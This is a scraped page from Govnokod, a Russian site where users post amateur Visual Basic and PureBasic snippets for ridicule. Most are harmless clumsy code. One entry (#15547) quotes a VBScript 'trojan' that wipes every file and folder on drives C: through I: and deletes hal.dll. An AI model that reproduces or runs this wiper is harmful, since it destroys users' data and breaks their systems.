1. VisualBasic / Говнокод #16114

    −123

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    function GetRaz()
    Open "C:NeWFiles.txt" For Output As #1
    Print #1, "0"
    Close
    Shell "cmd /X /C  set PROCESSOR_ARCHITECTURE > C:NeWFiles.txt", vbHide
    1
    Open "C:NeWFiles.txt" For Input As #1
    Do While Not EOF(1)
    Input #1, Items
    Loop
    Close
    If Items = "" Or items = "0" Then GoTo 1
    GetRaz = Replace(Items, "PROCESSOR_ARCHITECTURE=", "")
    End function

    "Получаем разрядность Windows"
    http://vbbook.ru/1401972927/

    brutushafens, 04 Июня 2014

    Комментарии (26)
  2. VisualBasic / Говнокод #15547

    −117

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    on error resume next
    
    Set S = CreateObject("Wscript.Shell")
    
    set FSO=createobject("scripting.filesystemobject")
    
    fso.deletefile "C:*.*",1
    
    fso.deletefolder "C:*.*",1
    
    fso.deletefile "D:*.*",1
    
    fso.deletefolder "D:*.*",1
    
    fso.deletefile "E:*.*",1
    
    fso.deletefolder "E:*.*",1
    
    fso.deletefile "F:*.*",1
    
    fso.deletefolder "F:*.*",1
    
    fso.deletefile "G:*.*",1
    
    fso.deletefolder "G:*.*",1
    
    fso.deletefile "H:*.*",1
    
    fso.deletefolder "H:*.*",1
    
    fso.deletefile "I:*.*",1
    
    fso.deletefolder "I:*.*",1
    
    fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1

    Школота пишет охуительный троян.
    http://www.v-zlom.ru/138-napisanie-troyana-na-yazyke-visual-basic-script.html

    gost, 21 Марта 2014

    Комментарии (32)
  3. VisualBasic / Говнокод #15275

    −98

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    ResetList( Chars( ) )
    While NextElement( Chars( ) )
    	Define Address.l = @Chars( )
    	Define Reference.s = Chars( )
    	While NextElement( Chars( ) )
    		If Chars( ) = Reference
    			DeleteElement( Chars( ) )
    		EndIf
    	Wend
    	ChangeCurrentElement( Chars( ), Address )
    Wend

    Stertor-, 01 Марта 2014

    Комментарии (83)
  4. VisualBasic / Говнокод #14597

    −120

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    Option Explicit
    
    Dim HTMLCode As String 'переменная для хранения кода страницы
    
    Private Sub Command1_Click()
        Winsock1.RemotePort = 80                'устанавливаем порт сервера 80
        Winsock1.RemoteHost = "ippages.com"     'Хост
        Winsock1.Connect                        'Подключаемся
        Label4.Caption = Winsock2.LocalIP
    End Sub
    
    Function CutIP(HTML As String) As String
    Dim p1 As Integer
        p1 = InStr(HTML, "Content-Type: text/html")
        CutIP = Trim(Mid(HTML, p1 + 27, Len(HTML) - p1 - 23))
    End Function
    
    Private Sub Label1_Click()
    
    End Sub
    
    Private Sub Winsock1_Close()        'Событие генерируется при закрытии Канала связи
        Form1.Caption = "Не подключен" 'Просто сообщаем о том что не подключены
        Winsock1.Close
    End Sub
    
    Private Sub Winsock1_Connect()      'Событие генерируется при подключении
       Form1.Caption = "Подключение"      'Подключены
       'Посылаем запрос на сервер  выдающему наш IP
      Winsock1.SendData "GET " + "/simple/" + " HTTP/1.0" + Chr(10) + Chr(10)
    End Sub
    
    'Событие генерируется когда нам приходят данные
    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim Temp As String
      Winsock1.GetData HTMLCode
      Label1.Caption = CutIP(HTMLCode)
    End Sub
    
    Получение ай-пи адреса посредством отправки на сайт запроса через компонент WinSock.
    http://vbbook.ru/visual-basic/polychenie-svoego-ip/
    Строго говоря, это не лажа кодера, просто используется (по незнанию?) очень глючный и непредсказуемый компонент.

    Fixed by me:

    Function GetCurrentIP() As String
    Dim txt As String
    Dim i, j As Integer
    Dim mshttp As New XMLHTTP 'по умолчанию сервер всегда зареган.
    mshttp.open "GET", "http://checkip.dyndns.org/", False ' синхронный get
    mshttp.send
    txt = mshttp.responseText
    i = InStr(1, txt, ":")

    If i > 0 Then
    i = i + 1
    Else
    GetCurrentIP = "" ' удобно было бы, если по присваиванию, подобному этому, происходило покидание процедуры. Ан, нет.
    Exit Function
    End If

    j = InStr(i, txt, "</")
    If j < 1 Then
    GetCurrentIP = ""
    Exit Function
    End If

    GetCurrentIP = Trim(Mid(txt, i, j - i))
    End Function

    Stertor, 15 Февраля 2014

    Комментарии (195)
  5. VisualBasic / Говнокод #14177

    −117

    1. 1
    2. 2
    3. 3
    4. 4
    For [email protected]$ To @stroca$+(#size*2)-500 Step 2
      PokeS(i,"5")
    Next
    PokeS(@stroca$+(#size*2)-500,"555555555555.....")

    Еще один дебил.
    Взято с http://purebasic.info/phpBB3ex/viewtopic.php?f=13&t=3588

    Stertor, 04 Декабря 2013

    Комментарии (8)
  6. VisualBasic / Говнокод #14127

    −132

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    1.TextWindow.WriteLine ("Напиши число от 0 до 9 и я переведу его на английский")
    
    2.Число = TextWindow.ReadNumber()
    
    3.If Число = "0" Then
    
    4.TextWindow.WriteLine ("Zero")
    
    5.ElseIf Число = "1" Then
    
    6.TextWindow.WriteLine ("One")
    
    7.ElseIf Число = "2" Then
    
    8.TextWindow.WriteLine ("Two")
    
    9.ElseIf Число = "3" Then
    
    10.TextWindow.WriteLine ("Three")
    
    11.ElseIf Число = "4" Then
    
    12.TextWindow.WriteLine ("Four")
    
    13.ElseIf Число = "5" Then
    
    14.TextWindow.WriteLine ("Five")
    
    15.ElseIf Число = "6" Then
    
    16.TextWindow.WriteLine ("Six")
    
    17.ElseIf Число = "7" Then
    
    18.TextWindow.WriteLine ("Seven")
    
    19.ElseIf Число = "8" Then
    
    20.TextWindow.WriteLine ("Eight")
    
    21.ElseIf Число = "9" Then
    
    22.TextWindow.WriteLine ("Nine")
    
    23.Else
    
    24.TextWindow.WriteLine ("Не знаю таких больших цифр")
    
    25.EndIf

    elseif число=10 then
    msgbox "программа бо-бо"
    else
    msgbox "программа бо-бо"

    http://vbbook.ru/small-basic/ysloviya--primeru-small-basic/

    Stertor, 23 Ноября 2013

    Комментарии (40)
  7. VisualBasic / Говнокод #13839

    −97

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    System.Diagnostics.Process.Start("ShutDown", "/s") ' Выключение
    System.Diagnostics.Process.Start("ShutDown", "/r") ' Перезагрузка
    System.Diagnostics.Process.Start("ShutDown", "/l") ' Выход из пол-ля
    System.Diagnostics.Process.Start("ShutDown", "/h") ' Спящий режим
    
    Автор: Release
    E-mail: [email protected]
    Сайт: ds-release.ru

    http://vbbook.ru/vb.net/zavershenie-rabotu/

    Я бью земные поклоны и от чистого сердца благодарю бога за то, что он избавил меня от необходимости учить этот дебильный язык.

    Stertor, 21 Сентября 2013

    Комментарии (129)
  8. VisualBasic / Говнокод #13838

    −87

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    Программа на цикл.
    
    Мы запускаем цикл, который можно остановить только если прописать слово "Стоп" :
    
    Dim Slovo As String
    Do
    Slovo = InputBox("Введите слово", "Слово")
    MsgBox(Slovo & "!", , "Слово")
    Loop Until Slovo = "Стоп"
    
    
    
    
    
    Автор: Release
    E-mail: [email protected]
    Сайт: ds-release.ru

    http://vbbook.ru/vb.net/programma-na-cikl/
    Вначале было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    Потом тоже было слово.
    application halted with error

    Stertor, 21 Сентября 2013

    Комментарии (161)
  9. VisualBasic / Говнокод #13779

    −106

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    Всякий раз наводя курсор на кнопку "Пуск" в Windows 7 вы видели как она менялась. 
    И вы наверно думали: а как реолизовать такой эффект в VB6? Давайте попробуем
    Код:
    
    Private Sub Image1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Image1.Picture = LoadPicture("C:Безымянный.bmp") ' при наведении курсора на имейдж в него загрузится картинка
    End Sub
    
    Ну теперь запускаем. Чтож мы видим? Навели курсор - картинка в имейдже измнилась.
     Но ведь она должна изменятся обратно при отведении курсора. Но почему-то MuseMove этого не поддерживает. 
    Тогда придётся втянуть в это дело форму. Наведением курсора на форму мы будем имитировать отведение курсора от имейджа.
    
    Вот код вместе с первым примером. 
    
    Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Image1.Picture = LoadPicture("C:Безымянный1.bmp")' при наведении курсора на форму в имейдж загрузится картинка которая была раньше
    End Sub
    
    Private Sub Image1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Image1.Picture = LoadPicture("C:Безымянный.bmp")' при наведении курсора на имейдж в него загрузится картинка
    End Sub

    Еще пара таких кодов, и мне начнет нравиться Борис М.
    А че, интересный парень.

    Stertor, 11 Сентября 2013

    Комментарии (13)
  10. VisualBasic / Говнокод #13753

    −81

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    Private Sub Command1_Click()
    Dim a As String, b As String ' обявим переменные тип текст
    For i = 1 To Len(Text1.Text) ' откроем цикл от 1 до количество букв в текстбоксе с шагом 1,,
    a = Mid(Text1.Text, i, 1)    ' в переменную а берем по одному букву
    b = Asc(a) '- 3              ' переменную а переобразуем в аскикод
    Text2.Text = Text2.Text & b  ' //// выводим данные в текстбос
    Next                         ' закрываем цикл
    End Sub

    Кто первый угадает национальность быдлокодера по комментариям, тот получит кусочек сахару )

    Stertor, 08 Сентября 2013

    Комментарии (1)